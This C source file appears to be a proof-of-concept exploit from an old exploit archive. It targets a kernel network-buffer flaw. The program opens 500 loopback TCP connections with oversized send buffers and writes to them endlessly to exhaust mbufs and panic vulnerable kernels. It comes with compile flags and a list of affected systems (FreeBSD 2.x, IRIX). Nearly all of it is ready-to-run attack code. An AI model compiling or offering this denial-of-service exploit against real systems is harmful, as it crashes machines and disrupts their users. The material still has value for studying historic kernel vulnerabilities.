/* Test program for TCP buffer overflow mbuf panic */
/* Dave Andersen - danderse@cs.utah.edu */
/* netbuf.c - gcc netbuf.c -o netbuf */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define MAXSOCK 500
#define MY_BUFSIZE 32768
#define MAGICPORT 29833

#ifndef INADDR_LOOPBACK
#define INADDR_LOOPBACK 0x7f000001
#endif

/*
 * Compiling:
 *   FreeBSD, AIX:  -DHAS_SIN_LEN
 *   Linux, IRIX:
 */
/*
 * Vulnerable:
 *  FreeBSD-2.x
 *  IRIX
 * Not vulnerable:
 *  FreeBSD-3.0
 *  Linux 2.0.30
 *  AIX 4.1
 */


struct sockaddr_in socka;

void doecho()
{
  int ls;

  ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  bind(ls, &socka, sizeof(socka));
  listen(ls, MAXSOCK);

  while (1)
    {
      sleep(1);
    }
}

int main(int argc, char **argv)
{
  int kidpid;
  int sendsock[MAXSOCK], recvsock[MAXSOCK];
  int i;
  int sock;
  int socksize;
  char buf[MY_BUFSIZE];

  socksize = 1048576;
  bzero(&socka, sizeof(socka));
  socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
#ifdef HAS_SIN_LEN
  socka.sin_len = sizeof(struct sockaddr_in);
#endif
  socka.sin_family = AF_INET ;
  socka.sin_port = htons(MAGICPORT);

  kidpid = fork();
  if (kidpid > 0)
    {
      doecho();
    }
  else
    {
      /* A vague, horrible excuse for synchronization.  This
       * is a demonstration of a kernel flaw, not good coding
       * style. :-) */
      sleep(2);
    }

  for (i = 0; i < MAXSOCK; i++)
    {
      /* Open the socket connection, set the socket option */
      sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize));
      sendsock[i] = sock;
      if (connect(sock, &socka, sizeof(socka)))
        {
          perror("could not connect");
        }
      printf("Opened\n");
    }
  printf("Starting the loop\n");
  while (1)
    {
      for (i = 0; i < MAXSOCK; i++)
        write(sendsock[i], buf, MY_BUFSIZE);
    }
}
/*                    www.hack.co.za              [2000]*/